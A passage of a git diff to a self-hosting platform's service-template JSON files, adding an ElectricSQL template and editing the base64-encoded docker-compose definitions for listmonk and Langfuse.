FJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICAgICAgLSBUWj1FdGMvVVRDCiAgICB2b2x1bWVzOgogICAgICAtICdsaXN0bW9uay1kYXRhOi9saXN0bW9uay91cGxvYWRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjkwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbGlzdG1vbmstaW5pdGlhbC1kYXRhYmFzZS1zZXR1cDoKICAgIGltYWdlOiAnbGlzdG1vbmsvbGlzdG1vbms6djYuMC4wJwogICAgY29tbWFuZDogJy4vbGlzdG1vbmsgLS1pbnN0YWxsIC0teWVzIC0taWRlbXBvdGVudCcKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19kYXRhYmFzZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19EQj1saXN0bW9uawogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "newsletter", "mailing list", diff --git a/templates/service-templates.json b/templates/service-templates.json index 85445faf6..768f43985 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0VMRUNUUklDXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOj99JwogICAgICAtICdFTEVDVFJJQ19TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0VMRUNUUklDfScKICAgICAgLSBFTEVDVFJJQ19TVE9SQUdFX0RJUj0vYXBwL3BlcnNpc3RlbnQKICAgICAgLSAnRUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HPSR7RUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdlbGVjdHJpY19kYXRhOi9hcHAvcGVyc2lzdGVudCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3YxL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0Z